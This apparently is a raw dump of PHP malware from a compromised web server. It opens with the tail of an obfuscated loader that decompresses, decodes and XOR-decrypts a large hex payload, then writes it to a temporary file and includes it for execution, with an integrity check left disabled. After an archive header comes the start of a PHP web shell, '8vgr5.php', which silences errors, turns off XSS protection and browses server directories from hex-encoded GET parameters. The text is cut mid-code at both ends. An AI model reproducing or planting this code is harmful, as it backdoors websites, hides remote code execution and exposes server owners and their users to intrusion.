aa1aaf93878322c0939644e6a38b8fbf664ae40050edcabe78a26939a69bd142615c28daf695bfccb8b17fd4fb252d5bcea25aa14827188dc2adb4fbc4c6e64aebfd0530532002758efbcc89b81799d5daaddbd50c1427bb931e31d5f39e5ee27f66fe3392a08ecec4b384692385cb04813d924ae25f4e29494e7e693a777a1ab70176ea763967fbef76c76da0f411adcc9d03f294f3f1386a8c3342c63a6aca3231c33c894626d4fc40b1ce1857b399c14ae51f62c81ce6466095981559f3c65e9ae513a220d63ba1aee721b390774e6349e32b56ef071a59fcfe7eaff919cb1433c05dcef630563addb904592ac4936b8ef8c2383d8aed1d7f9e892ed858f23845dbe31a9202a1ae49709255b02da9fdd4aafb32097c3e5a26e654b97fc6834d6769be3b17265744b78a68971245a93cb657ba711f22997f4f257992e225fe62c2258a467dd49639de9a6bf04845b9239757beb1da08cc61e1ce68ed3b6dfec33675fdd508a3f634bad35b8fcc1130c410008ab67212111aa1083279995a732043759fa9d814418883794a428f50e8297f3e01c6b1480d5dac347dff3c4fd6c58c7704e268f40b5713696d4f5e6c87bed7c14caf9f8aab5bfda96dbee841537eac4f34b3a934aac67ea8320685953423a6f8b81941374797b68069403d7e50dccf8991c8f300e918889b9695b097e4585994b93abe8699f1ecc246997a5347c65ee3f35ec0c282b0f2d165ba8f2ac38d6cee2a84757cc613a57d91ddb64ba0f4a09e37ecd23a98a96fceead3f2e3fc975a3782e8fe37757f260a4fc559711e696ff74b0bbdec7feb4184ab8605bb50ac6956cce53877d9d860e691d13ec0a829eff23df2a1b87ebf3ff63bcad4f9ce61ab9cf94bbd8f72c22cb088abe781ba1d5b84755323c85326db3bfda17cc5c84eaab9648c514a2db4095ef2bf993d900f48643b2a4a7a1001acbe0b7e4ca0de77c2b3fd128e97accb7aabcbc84b7f197698706cfbf00bb72728e9c7797defef9f251a17030513cc7872fa86a1e493787b358ec1d9c9452c9385cef70003ab77281717e10b28bdd094b953d766dc741277550828532cab8a64d554828c8c28a9b0ecb2b9ba77736eb1b32d4f18c5fd31c206f1d4214240e7515f84ee793213869829bdb0585eaa09960504b57038ea1e7c266361beb3b7f7f17bcb983b7c9f6350aafbac801d0122a4335ba93f1818edfe56bfc639af5e9e671455420f97e85ce8fa300f82324f2ee20118b900d56bfd559d41e304300373f57e9ae2866b7eb408987c51ef67c12a0c02d6fcf0ab53820cd109327e1ec8bff95c215ebc9bfe2b7e9540e339340e4b61960f51d37530eac2a8fbdd3fb88d5aba44e7d253f6b6bad5bf949e0d44ea9c4d4f984ce1d5b41cb4df17fbc051b1924441675d0574e32a7c71332b024ba5d5b5fe7dd9f7d904de5660d6669903f3d5bc6e5aa69c31edf259f2f4d7fcd154dfbf685bca2472b2528c6ffb4d49b30ad168cd6a293eab2f79f33c769b075093d77900189b324d43ff563f34a6a832a4d3abe7b547aa44e162f9f0514fbf7fbfa41b711c3bbf207405dc4a2f7ae85dafae53ce480c9ac655fac856f72f2eeb36f0e0f1a4ed8d5642692ab3595fa628e9842295fccb2bbefcc683e1fc1b5d44cade40fbb19eebc51f59a0fb1e99f2fff4be283aff8436d93c05ffeabe389abf0ce6f3649ea4756f242deb2c7ce256d78554618444e402456947d67e209ef8878f2f7fcfc7bcdf3f6d4962cadd3e8f58a320adfa7ead8733888cb6874cc65ce1cb6bfdf3f13aef9a71e9cd442f5ce628f1a64413533a0b18cf01cb532af95ff3791007ab39ac955d060400e18569ef081290929e82b9918dec16e87e76c9dbe6e077ed2aad9aaf10ee5ffa75498b2b004532fd16293e6e6fa82f9f94b365d003b4a6624b5c6f33f26575a261d3ebfef3dd3bbef1c6ff729cb24e7e7a5fe4248d6111ced5efc5bdb043715acf806c2d9ac9449442cf877b9d2f10b5e4277ed2fdb0456c9ba5c57ba5b78c1c59c92887c8597accb9e15ffdf27ebb2ad7f97d17d63f62b2e796e26b893cb67e95975cc247408f5d821ac5afcad263e14b7da2a2ec97ba48ce62e65390505d0fd71ee822a662a07e8345bdba7f26bbeb8f87626fe3fab028497fa7174a5033f2e63c943e72aff31e8cf6e163bef1b0d7781f9d8f20517a5ff18dd446b7fc253f6b3e69cc16adfb8d769965019a23c44a5c57b3b998581ff596e27f4ceca49edbb5ed88ace88af34ee7f4dfda07bad5638e805d1d8350f183cfea55d62c2c783fa92cd1edadb3c9ad6bbebbb692a8aaa05978112efd34066b3fbed5efc60dd3f937e53f26ca30cdd231f31f4edb45ac2314c17ea7f4ef5a34fc1bed0fcf9fd56ffcc37dfe69b7ea619d3be3c0f81ab0c99cf2a64e4c3152ba3e5a77dd1cb4d0b72e8169b7663ec80f76a340f1677bb1fd58cfba56f78fb3d290d468c1b970147f8e119cb0e4aa2f43a2c8e052c493e59c5702d4c4b1385faec8c77ad1ebf38878f6fb83cd8c7dc58802f2ddfeba9f938bceb3d0b1517c4d589866b1228a7e154ac014347cfefd3082c636300ed7fd06b4cfbf4669feb13fef76ff52af6e753fec357fe92a3da7eccd71689105fd64c7e45ee78f32204fbb908748b4daff1a17b82199651e5b3dcfc3c67caaec06d91b98c8217c567810b4b937a7f7fe772da4c6d31faf7a75c03e283c133c7be9c789aef59dec4b9a101c8851561ae63e22131dfb7bd6fb9875be821aa783aed7b3370c103ac50975efe2d9100b346ffa055272c236db6518b15bff517d1cb68f7b7da478fc44e9c1e6991bf9caded685b59b4c1dd6ce74fda96c385da5bd973481adeb6d153e4f14b74d2243694f2eb694c926ad265b02eb5f32fd1cff4a5817362f2cbb2259be0d94d40ae8ac9550e9c147c19b90767ba0e3399ee2bba26e27b6188df076f22cab63aaf3c9c2cabf4830caec2d853106b9cf0cfb2ebeabcf83c2d96f7e609e620ac943a6ebd1bbe00c6af57e8a4fbee63f78daf4a07152a0ee06b145e8305804acdbe821b1f90ea6b82f8823a55851ba175d79173f40dd681af7d5199e9b75d4d69082e665be377007f2bfd4d954056999158a83bf24cd7724f71c5515527cfc39bcfa37c615feb52ffbb2d609a584c4ce11eafae7ad198a986519a9aff83203c7897adecaea4bb9a8441a32e7cb903f8272f4c58a642001487117a85bc494b551fc177f9ecc65e9b870ba57a457c2f63053c274e3aaef47c5fe5b4285b65f4f80c69a29fde66e821618998c366e26119b95624493766cab6f20d47d26eafeade6b2f757427d172940d8550700c1f9aaa745fde3b3788ebcf6d70a6f56b5196786051825392a70da3a6668e6eafe8d76163c51020389ae7cc34dd3ca98c4ccedd3a7bad0f3beb87433fe74aa41932fe096a631aed6ea3e7bb128aef5f7301aa9f773880341b66ca5c10cbd9f240869dd3dad1f3eeec3bdbe5fba57bf97a5560481bcce477a99c7d334a11753056ff975fed05ff8f80d0f58915cfb93dfe069b2117401c6213294dfab0c71cdc7c362e52b60d2f745d9aa83ea70966cf64f6137894ae0980a1f0dcbe638e9414abac0e3c627f561b44ef4fd1be27f09cd2abfaed7eff4e03a0255881febf77855a0ae98a1769aafd2e9d3ecf579b27cb42991ac1b799cd28d53a9fb5b1dbfa569a3f829010928e6a091ab246dbfbee653fe355e11b1f1601749909951733a46b1e23435f110705d656f266c0b29012ca26d87945e501caac390bbf6ddfc0859fc02c6d161ddde25901c5c5930de89a7981f7ac523c2a8ce579c090fc581f9bb1f7b10ef8f78d6b4a12b8e132a1a9036e2ba9f387bf1478a4fb6d77c05382274096cba391e91d9c77f8b6fa8fb2ce760bf43b0f46321a3817a4cf67abe49244ec8501ffa31d7fb487dad67220094e929ec7a083dde8c1601630ba71efd00127005cb071b766d08c7a9d2ab0f31e95a88f2e82effabe31bf8e4cbe4fef7ae9e468ba429bdb99c64ca7e7f02932999df3861dd992150d7ab8506acf28ff9bc97f841a2e75df713c2f5fc83aad1f94bcb36950d12fdfddabd6d1805ee5cceeb97fe6e5154b2d1f33b6ffbc1fe62bf04748dd0f1838c3ab9c2e760454e8fa2929e8ec7bed3ab27892b12095d5f5c85f6a359ab4bfaa75fbc53fcd4345ff3b50916057215e0cebb498d2a97a6f46dfc343bcb663f89cec28d991100935a286ace76fd0eefe5845a1c845e34f5529ad9fa3ce6ddfe8bc2e217be76ab5f434dbd87d7fc2a59c92b8670606d838b45757e1fb268cb9c39087dfba51f27df3896309458e727bdef736f89d6013c40bc5935fdd77d9477c79dfaf7b57a9770d401a0ee4b02ecc32f444a6c6f4fa98e5fddde6feaa0eae87b8f6fedf773fb009b5ee9c16bff91abfb4361ffe1f76a7bcbfdb34c0915eb197564a0c80494994f887cedf79b5356d5528613b4b9f5d351322668eb8c94fd2afeac7eef99d81e571a9a19ea9e5194dbd38ff937f3b8a6b0da67ac5dc9ba7952f676517cc8a680ddeaef2ff278ed277eca5ee357056219b10029176747cfab5f9555e1148abf20c94342c601edff5f715fd39eb6ef44fb81baf8d909b4b0b80bc992fc826d906cc92f3bb0c1063b81165a1b3efd1d41d2a60d90fcefe6eefae4491dbf48a37366ce9cd1f58ad696d570cb1a3dffed9ffd7189a72c59f3157c8f548862e920388f88bb926c4b5cbccfe0fbb616170e122e22c76cedd76671ce1ffc155f061ce2fd0670fbdc8e9b854d06dabf84e3aa06fe9615c186032ed6f302cbe51437adc0831ace5ecbc2d9b327775856599f349d411e2aede33c65b463d653f60d19ae1ba7c602d792ce3aefdcbf1a93a280f317e2a9d6f4e6730f8f46c82cefe74ffbaab4a250e79f2d8bb45ce78b5ff32fa4a6ca1783a9ee377559372f78d510b94d20fe4d292e9ff4fc73bb1a5ccea3a49ac6fc30051e0bfca8d1fdb04b2b1e517b1d4c67b8f5cf7ca6dbae7c888f768d7e064a951e1f6e8902dadf73cfd2f18a8f13d60555cae45ad9630678fc19013f2751584f95d61396611a2bd8bfc3808ac205befa577d7021f91ecbb17ededff514deed1f9432ffe65be9d6d456dde4e90a1e7a3696fc4e3e0768851135dd169ff9a03b417d15f087dc4cf4fc94f46a7ef7ed790471ade1cc282014359b15addff833ec02c0bbc8eaa4439f0fb05e4c4ee2ba989fb8e3f371e8a1912f3012fec923f45ebe090f46f8f45e6f7ba96fd5215c3d9be14bbf95ddc17f5cb79cb6d9ca6519e017a0648aa3d4a83242cb5bfd10198986b52df329de50f8bebffd9be098e7deec79e7123b887533fdaa1e55b7f3253c935acfdfeb7c363caf3ac4cea623b68d174b3dbfa709624b74e1fc88ecc44454cf9b98a2aeb291e7a431674edd7f5dd4c3f99d7c3641cf62125b95e32bbaa0d596d8a8d7f33f0aa4e7a5f66d10e260f4665e9b9e3a61cbbafe65775981ad8ea55d672313fbf0bcffbdd783bc9c971b69d1e6a27f06bcf61f5686b04c334869a3e74701771ded6320bde7f929e618b67633215170920279d30df3555c6553a04d963976e1fe9cf7fe572f780d193f33d1daf0eb1a6ffc9e77876b584fcf667d897f6d06e75ea0fdbe34a7c2184e7d67f443ca80407cf1617f8c302adfd743b9f8e29c76eff081b3e98b2456eaaf7e67d81f9255539f177fe969129a3d4cc4799e0d9c47cd113dd4d4e17c661d2ffe1b11e0dde859e773b89da9ec8afede5c7aa88003a312d6b9ffd700fc5223ad6f5a29bad1fde20ab683303c9a3e693d7597c6c08fd2b8bfd28f5d5ed91ff92e93c5ca6eb65161e31eeeff8b1d678fdea6a633b82d2fc14df4dc48a6deeb451d514f90dc9585185570f0c6a8da3384aba34776b18e07a961fc67918ea9ea70d647385675740c1c456b2cd2949ef965541553e0bff3603dc8a2be98f90cfb9ea8aff00505987f6be8fc7d4a65cae046d891c1f7355212b3d0063c3435fa09e56eec18bb9cae1bc24531f7da7eaaf52f4edf44a8961611451d343b99e0da488ced176419d695f32d618f340bb86ed63302c7e04968d3208178eff56da1fd466c06875517e4ac465bafd9a5b19e6743cf7a816bd72b01bf4c3cd267941fb4de62e61d0da2da6c19246deef1b08ad888936e3fc2dcf879f6dbbcb27fa9856b5ee78c9c949a1304d8b1cb123684d72a55180972d52fe8f2fe12f8399774abfd41c84bff6543895c92f6c0f833d6f93a07367548e4eea6bf85e87868ad07c644cf8f374b63a9e83a24a3a5c470675ce78bdd1331c3c574a3209e5e9b6f7fb95ec98d1ab1eec1aa0d4ff7fbe53cc44517c0fed8b7986c95ad764419fd32e1d9333287911d9b244ddb99e6bfc0496c880757fd002ecf6b541394a7cb4a760b452ffde211907cad2f26ee169bc52a5ee7b07f8d6f1371b73f149ffbf7a3733f043e3fafdc3756bccf22c3e0ac1f84ece43ef35a46380d948d2feb99f10c984629b2733e67ff35d44529ea353116226aafcd6356418a1a8eaeeaef5fe66f19879c4570993698056d1dcec4786bb700c82b7705675f9589e15c36db26a1dd1070e3cae6b0d9003752cbab795be42485774a30f0a36142aacc8b21d44f60fda50cd6c18d7a14e0e5e7bfe28bc9e8341a1d43952f6da72b53c0992feb790aa13d992794f044e79ff770a37b88f7805f3ae909acf17d9bb2aefb16f5d5c98e0a27450702e7f9846ed47b3dcd65bd945e84682e25017c952de8fe27e0a1045f7b7f97fde1205dffc5724b5991aa47ee5dd3b7bfc653ad0771558643d8ae48b5df32b5bd39ff236eb5bf05dba551604f8d8e0a2932691eec2cdd9de39fa34add807f9e57c9aa668944b57651bdd4df23a5db11daec57677c6fbfcffffde39f7d4bffb70eaa8394eb33fe5b596be9697d31ac3fecd4cd8918dec23a950575724a4f5e16e1e689c7436ffe583d3a02ebf938cfa59ecfc490c0d5eedcffb66af9fbf98d26e2d69ffcc6bb7c5db056f26effea7b7d8443a3608d14ce28f00fb541b6c61bacd2fd0b45e81ea5799997b0db10dabeac67e0bf8d1aaee86ecebb62a0f91bda00dec0b90f6b09cecbc3ab3e22511bd771f9384a288d1c84b260cdb7c2dc63a676c1593fdeb3e05ffdc15ff91c5ca1dbf9a12a749faff0ad37cf6b99b291b2063e08985bd2f3fc373f6a6262f6093ed11c277d32a7c0a77936116a78c90fddb9de056ff047887fd8e6954d3bee3be96163b726d5fced4ffe805aa892d27de8cef58ab26ee1bc741bcdb7606f2f518fb64b636b117a3b9ff8eff34a74d1bfd0e68c4f19c4e2da6206225205565dfdd0feed09cababccd3abc36a7ba7fdaea1bed2f30567c94a23596badf5eeb7308caa4a088c3f770cef9d8ebf9f6abf573f1e2b70ef8e0e2b75eebfc78c962b4cd2647017cba99b90ff9c5dfa23ee38d1c49d1ac6069b2cead14fc051c77c0073b9b518128711bdcef53956c17bff9fe47fda65436211eda09ac8e3ff5df22b524fc33828769f0127884cf53eacd900b906fc8628c50b886fba37c15b64278b27d9899155cf24070d51d43ae8a9b78fc6d3d80862baba693df7e7dd7fb4dbfaeea1de0bd6dafe4def867fd59a81d67e49953587ffe02be0742c3a96a847db31ef599fcb823e60084b2a94917f8a2ef94ae35c8d25e4d5efa4dcd18e812e588594df85428ca3ff3bc2ff99229aa79103cd1656414b3b938f0291aed2d553abc6b424be87c763b4fe03ccf5bda92b5faffb8feb8355579416a63876807474e31c7429ef4feb04cb5b345f788d6dc9bebfe857a4cc573bdd1f380e8a62ed4467349ba500d731c38b2bd885ba9da4f03b96785d98f137155cf75bd1eb0c983b39fe59b7cb14724a5ad5c4e6be1ba9ddb12b92f20666656cb4d9f5611ef832645ea641363aa50970ae53e3ac4bb5fcfbbb1fe5ee747bda99761da79d43eb9bf84c1e6b05e5efd2c17141731ea74be6e40a5da93d07421be14cfc4ac2ef59e6abfb9e891bc31aa77bf26566325159ac1d96013a2e7e374dec7fe0707839b23c0febbe86eff7ebafb62b73b27da30159db4bf6de07cecbfd17e0dea5d9cc83ffad354d7931b1adaebe657843a5f254dae832f41ca4708c5a8cf50fe3c9c305187250ab2b2e975bd2c8f312fb0280777fd37ea6bf5506382d655a6004a4e8d03be567fbb733ddf7a04ecb9e16129071037fed4cfcffe2f42bcc6d3dffae715addffac3f929a64f16c417201ae6841ebe68ff3038cf4b971f00ffe59373fef4a14f08df4d000c864b39aab57967d49471d20e7f2dfad651bc18c7020fa45d2de17a09e31e758ec0a3541144f696e187de773110349e79363cb47f8418510780ff7af59acf46edcdf3fcddfb4b3783dc93f0fed490c17939f38f19c050cf39d7a7696ec84e002708f398e97ae378e534bb1fb8dff5da3b41f2ad03f845b28dd4fa4eeaac4d9526bde72335617c643338cf27d680aaae77afe905eee9c300973ace51cf23a8161a0f11be2516a2696e532acdad8e7f49808dda82fd811ba5fd69be876834632aff81716d92d840b05b2cda89737c51e49e5fcb9bf50cf7aefd692c59def5f378d17bdb1169162f7e9165cc0e37f32fff3eaf3ab68114858d14b39327515ffcff0a6a6f0acb438db4ceb3aff27c128dbcb41d7833ad17e5fc87adf4da0b2dd477470cfc2da9465fe374bb75d73d75ea6082eac34bbe7d74de6f2a56cbec155f4938dfec73bffdcbf91bd6aa6f525c6b7e5e3e79dd6129d0f897dde507e528b83f3ab5b4ff78a4e7f79494bfe65fe08c4fccb14bd4ee4a7ff25d3de144d73fc871d438622c70944b9698b294bd442ad7fb17f06e4f68554bc06b2ac4a30a9966c645415867366ff25726f08542713e4f65a7fdaa1a9d0ffb44fcbba72fa112513872bc3ffa1ccbe369947b73bccb2c915952e6673d036b07cb40715dfffd7e333ff92e9f78bd5e76f5fe6ee80feee00396d4c10cbe6b018b8628d44fe65d71cb5f65cb1aed0970531fbbf2997bd7df2235721ca90659c48d8a48da7652e5d387eaeb8a149dbf0ebe275c4ebd07ef61569bdf0a61ac1d22f3880ef35bf99297ef6106fc50b0ae192474bf7ed50b44f5b9beb05168e0025f2d65e4fe72c5b0c075e13ab5992f131696ed207bf1f3eda3be5d7163a4fb1b91ce6f14b50b7c305ba37561bde23fad0791d8e5fe592f9a5bfa7c4b6427b5def1b61e49ed423e086ef15fd5e4f135bdd49be7a56ebddfa1bab14997ad98211aaf8323a0299e25758d28cd396e6b0278219d45a313311981fd816c7be82f8c9d445aeecfc6cbfcf9a0fdf4b3a9aa03a6fd22936d60c319c1f1e897cfc7755aa3fe554f13c1316129ef961fd482f7a8bca3bf3a7aea0afffd4b6f517a493c7ed31f70f69b73cef93ab1b7174a98706ee8fa25e547fcc3a765c28ede4f89dc750ce0d439fb13363bb6761532c7117fe4367e32e9b4ef33eb4f7df5dff502f820706fea8b819f3b4976749ac342cf2b827815ebf96f16df223dff08f0a4d66f648bfe03bcfbc85711e76ffa03d00b7e7127dee6e0135c5810eff3ecd2bfea87ad2acbe6708cf1e0ec2f60f5c5f72935228b8907dc899fea095e98c6439b0e5bc7fd51f37305df322288e9fe8febf59ef2d966e64dbc8b05753ed217ffa31f3afba912d4e257be253ec77f5fe3cbb9df8af601f11e4de176831f36cb52bb192682e69fc16b2fface5dc2baa183380dfdf5604a7a399f1abba030f6df6c8a3cad1ffa337f06bdcefb4c6df370d79feb637db1b790dda0571abf440d4e61d1ea79b82411b5c3c28573a2d47e3a9f4782f281affda5fc13c453435805c34188f23a46f9e24ebee4c6f3bed41b1b1ece4e54eb7773571dd4148fbfc76ceb01af5b256adfc0f91e2931f8cae87e14a5d92ee55dfa3fe2fb97f85c9de7c7dfd423bdd58bda83858bbb1c218360ee5980c7e5c7fe6b77fa032c7715705c249492573f198b0de894613dafe87f382f874b6c892076e82a10bdbede0c73c0d2c7b14bdb57fffbe680daca7d8fffaaa1739448f73b93ba0a1d002a717b20e4d47088a76adeba9ff4abda4e951855b13afbfdab88e3a51023611ff75ba746a915d75974f49279a5f55701b3d14e8651ef125bcea66dad42563e9306007457591ff4435ce2e9f361a58e817d331efca5e71fed82ae8800ff5552155a2f5fa83ad3fad894c4a3c3b91f6263427c312681cab9d58da637f5119fecaf401bb34c0967f3a64f311a001ecae6feba63aa5613b7ada58786665ca979da14da03fabbae87a6f5609cd2c3303ed22c45f54498e13cb99d3f7dc7575fdfdf15bd7270f16b1e6b8f2513634ff76fc9e8d47be57a2c2cd401d3df2f82935ca6aafd4c3fc94bffc745cf1535f9d4d6f5e94d63f9a82e2c833998639ac3fae654eafee96d889bd679c8f394ed028eb6cf5e37fec6bbd1b0bcf8efc6d82889ae2f102b1c452ff825dd548e1ff780730652f3854f7d0f2ebe9cf71bfb44fc7b362ef94e264a8f07cf16121002ab156587a7a01efa4937ded96637b0498512dce7a4725d6afd6ff839ed2ef3123231f4c5f97a68408e9da7e0792d6e78ba1e4f5a1361a2fd59d53bfc7c450fcc28ee7e7ca4ef7c9f8fcd826023597a45eff8a6bff62156796fc51dac956c2a945bb10dfd855b33214f55f2aacfd1fdba1fc58395d4c5956a78531ff1e6fe125d67a980441ff93269ab29f055775657a3b86e12d60f90cec77a3cc4a2cb4c8e5c38df385380a360fffaec240d0bb09ef3d42c223def490c5301bfa4b5cca1d55b2ccdb240b478560fb78ed1a5b82994d5f54fa1f69f013ea3eaca246beec51c13aa6b914fd9d669cbb94a61993e86ea56bdf1c3fe85ce98a0aec2ec41d49885738dafe0fe6cafdf01cc0f04e155e03e42fcabeab4642c98a142fbf1004e1d78cc646b5d0f4d9a50ebff4e1ff099b7ebd9856b2fa766919dfd5439ac67ec4e212068fda4d0fed451a54efafbda5ce79f29b22ded670ef1d982233e72ed79eb8d111a5936626c1e052bd1046c5a151ffb4faa36403c4898733f5edde927b9e48b45d192c72bfd06b0fe62eb9feff16c2ade8ee625ec8f901bcfba5f03a171fa0e5f3d0a12f32240bd9abfd643e1fc0821ce39befa7dbec1f3168cb39d8e7f74558d6abb2ab7f364f794b0fac782eefab42bbea5a22a2ef3cbd4346a812f3c5ef4cae88420feb904d669091f9e105ebfd513aa8b9fdb9f7cec8a0f17fc4dfe4fa1ad832bace7ddbdf871ffa36f6255e99fca89547bdf33b6ace8b2678b555e5c8d3c2c74bf46758d6f65d626abdef6e7e9fbc3683cd1f930e01f2e7138bcd57215d2fdd9bfce027ca5fb6183362b212e98aabbaa3fa5da5fd426ae3311e309e00d78effb89d6c7a6aaf100bf2ca66dfe9d98724291fb8b687f81a82c65b71fc06b3ea964904954d98c9599dac8de32ffc16b5a3f898cd93f7ccbb0da2c254d8181affef4ab019c6fdb6f51d35fdd1f6a63a691c55773fcda7fd971772d672956939932e0fd551552199ee87959ea70e9176acb87a4457a3edd49626a5bcd9092637170747ee373fdc4efe7795d7b7faff94452957380ec5acbff071f6c43afcdf530f16bfd5b6ff65b33c3d500b3b49a3aaa8f6cbb4a14419ecfd1fdfcb3b97fdfcf7e23dff9d27f9453b14d2dd52ebca89949d5b95383ce0beeeee179270c35da0fc5f0d0216172fb4d99fba1b5ce7ccd1768dd215823cd44ede638c6ff459b01bc1f51e0aa62a8ef8a30d19e1aed047f22df89f9a55f3289dd817dd6b35efc9626159c0b4630b558bb98c4195586345de3203c3e04be90f910cb42ab1e68fddf3ffe2001e01efafcbb9ebc8177e5d45ed9f43f3f93bf9f2061f17a68c492d6e4594d93cab0312a6cb6196ea2f610abc73c894fa3e97413168ed6c70a54e43665297bd96fecdc2ffed63fd1105c0e97104d2c2b98aadad0f5c610f05f1ddcf5cf2e93a5690aef4e7fb2b03a16dfe6830cf1ad78d3bfe5c1c64a4399411cca3835d407f58fedc13271849f765fe0fb2ea70c25167719bc9cfbf9dd4b3feca7f83441466a0b9c079b6aaeba9d1b9aac0c2af41d01cee4ddc0053ef8ea5fa7f570e64b7fbc8f2b086f5aef6878da6fbd589e1adbebeaff58d74dfcbfe63301e334d576f609bef5ae9ef7767eb74d89aa766e601c520fef53dbd807673d3aceb47f629c70a3bff4c36aff7154918efa0e4727acc6c65bffc958ee986cf8cf4fe4c7b79265b5b3e9835874316a996daf070dec5585a36e01b87556c2927af1ab2a665aaf6c04b3b26ed319c43fa20a4be70f283ffbdfa7257287aaed523b2af0f2f77a1e34b6d82e237b9b67ec6ebddbe026e0977bfa88bffb5d3ecabffcc08c4fb0b1f5599d9d0259ddcc27bee86d159cdb538f790f94ef2da7ad13e0d3ae320ff7f90ce726da0cafe9d1dfdd9f7f1ccd051c9b2e802abd7fc96fff3ad6643c4c003f7f8b15827b2ccef321cef8f4287796d9f3737e2da2b389a88b8b9f11fa2fb4064e7199f73e9fd5c1e1455f12849fe1bfefceb742b847174b5645f07d45a8f2effff80972d6c9af70be753802cc408b04b822235170a9efd79eaf4eddd645ed9c54d465884e164fb54b7031fe7ff117f8333f8f2f04df1238df9260ddccb85dcd7cd62f3c3c7aad0f52c07cb5ae77f37aab0dab8d8985b0aa28fcb1c09bfe5ecf7d113db6d6bc75f35972977f5ced9f7e5b2f132a5f3a77faf3747fe31bfdfdec8c5f64a9203ed791b8dd4f7c5e2f0c2b8ca885d8f6e1e27f75605356cf43547e749ebff6af7e94af7bd73f087cf04b28ab28ad86c02ff743ed575556dabb15bfed9f162a06ccd45ff865dce879ef8df6e3095d465961fed5cfde4fd0d04e4d6c1054e979f401c4ab05352863d1e809a32ab562dd2fc4f3c2187c80370e0461d4ddeef7bbe3aff234982606bbb67fbf028ea580072a0e3f514f5b9ce08292caf3ec63a3fbb1e7d2e12e89687ceffe247bf1a7699be314efd233ffbdf46f4d6d9ecd703d4a85cd753fc91f7ed4f489d5211ff3225a3e04b93282af5edbfb211ef9977835f6a5d19ff226e096326b82eba17f3426094633384b33b5e686d3e419beb3fe5efd0f626a14f4dcbfb53f85625826b2beae1f5223156d0e697232ac4957683f1ecb26dc774fee4c3c5ff4254bd97f499069458d8a64631e33e9197afe11459ff0df78d36ff5daff16f483910df88acb6266e1ca0cda82eb7cacadb62d4ee44ad19258c87560bdac111fa96b7e6e599a9758605256c52c6ffbad702a8f1843d8bf2fcf7bcd8f22fdc08fe74ebfc6ff9c9fdc042435b3ccd7fe34783f401433f7054f6a7ef47abd3bf5416f26eaf0ec7f8a0d4ff37d49dda5cbf2a430f63f10ab12ca76535c195be0e765c2b54060ff15d6f34cf12d47ebcbfc5acf3463eb54099a86caea4c5d33f13fc8d77d5d54c02fff797f8911586cc3f7bfebfbb6497da4662ffe6b9a5fea7cf6735ac934e8f89e71e0bfea40007ffdf015ff3fff17';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmdxmAuu72', 'kmPmrJCl95', 'kmafZWQH11'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtwbAJnN24', 'gtUcLguX45', 'gtBpFZGg19'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'be419b16b68ba7498641825da374e169') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_SQpydAIh20($plain_code);
}
private function kmdxmAuu72() {
// Key segment 1
$buf = (bool)mt_rand(0,1);
return base64_decode('OFFrSGw5ZQ==');
}
public function pubVriXe41() {
// Public method 3
$jv1 = (bool)mt_rand(0,1);
return 'valVHTe26';
}
private function _execute_SQpydAIh20($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function kmafZWQH11() {
// Key segment 3
$tmp = 1478;
return base64_decode('ajI3alQ5');
}
public function pubkncib24() {
// Public method 4
$tmp = unpack('L', hash('crc32', microtime(), true));
$tmp = unpack('L', hash('crc32', microtime(), true));
return 'valwJhi30';
}
private function dcsICtwm89() {
$tmp = str_rot13('ebgoQefg50');
$buf = base64_decode('ZGF0YUdLUmtCZjQ5');
return null;
}
private function dcZoGNzA49() {
$jv1 = base64_decode('ZGF0YW9ZdkphdDc4');
$jv2 = unpack('L', hash('crc32', microtime(), true));
return null;
}
private function kmPmrJCl95() {
// Key segment 2
$jv3 = str_rot13('ebgEKPtD15');
if (90 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
return base64_decode('Y2dsZHlGQQ==');
}
public function pubuzUMk74() {
// Public method 2
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
// cmteJjd17
return 'valJwip27';
}
private function gtUcLguX45() {
// Gate piece 2
$jv1 = str_rot13('ebgfUtgz96');
return str_rot13('m0h6');
}
}
LoaderlgGVyM29920::init665();
// EOF
PK �Fm\Aj�%\ %\ 8vgr5.phpnu �[��� <?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
